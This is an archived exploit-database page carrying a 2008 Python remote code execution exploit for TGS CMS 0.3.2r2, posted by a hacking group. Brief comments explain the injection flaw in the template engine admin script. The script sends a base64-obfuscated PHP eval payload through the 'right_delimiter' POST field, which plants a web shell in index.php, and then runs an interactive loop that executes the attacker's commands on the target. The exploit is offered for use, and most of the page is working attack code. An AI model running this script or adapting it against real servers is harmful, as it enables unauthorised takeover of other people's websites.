exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

tgscms-exec.txt

tgscms-exec.txt
Posted Aug 4, 2008
Authored by 0in | Site dark-coders.4rh.eu

TGS CMS version 0.3.2r2 remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 24936018956d92764d6abd08a12da0aa424310415da8bcf5461b16d278330011

tgscms-exec.txt

Change Mirror Download
#      TGS CMS Remote Code Execution Exploit
# by 0in
# from Dark-Coders Group!
# www.dark-coders.pl
# Contact: 0in(dot)email[at]gmail(dot)com
# Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke
# Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot
# Let's analyze the vuln:
# We've got the: /cms/admin/admin.template_engine.php
# first line:"<?"
# next 2-22 lines - comments
# 23: if ($_GET['option'] == "set_template") {
# 24: $filename = "../index.php";
# 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {
# From 50 line to 88 we have definition of file content
# 50: $content = '<?php // here programmer define the file to save in "../index.php"
# but...
# he.. don't think xD
# 77:$tgs_template->template_dir = "'.$_POST['template_dir'].'";
# 78:$tgs_template->config_dir = "'.$_POST['config_dir'].'";
# 79:$tgs_template->cms_dir = "'.$_POST['cms_dir'].'";
# 80:$tgs_template->left_delimiter = "'.$_POST['left_delimiter'].'";
# 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'";
# And.. boom!
# 89: if (@fwrite($handle,$content)) {
# Just simply exploit for fun:
import httplib
import urllib
print "TGS CMS Remote Code Execution Exploit"
print "by 0in From Dark-Coders Group"
print "www.dark-coders.pl"
print 'Enter target:'
target=raw_input()
print 'Enter path:'
path=raw_input()
inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//"
exploit=httplib.HTTPConnection(target+':80')
headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"}
data=urllib.urlencode({'right_delimiter':inject})
exploit.request("POST",path+"/cms/admin/admin.template_engine.php?option=set_template",data,headers)
print exploit.getresponse().read()
while(1):
cmd=raw_input("[shell@"+target+"]#")
if(cmd=='exit'):
quit()
shell=httplib.HTTPConnection(target+':80')
shell.request("GET",path+"/cms/index.php?zuo="+cmd)
print shell.getresponse().read()





Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close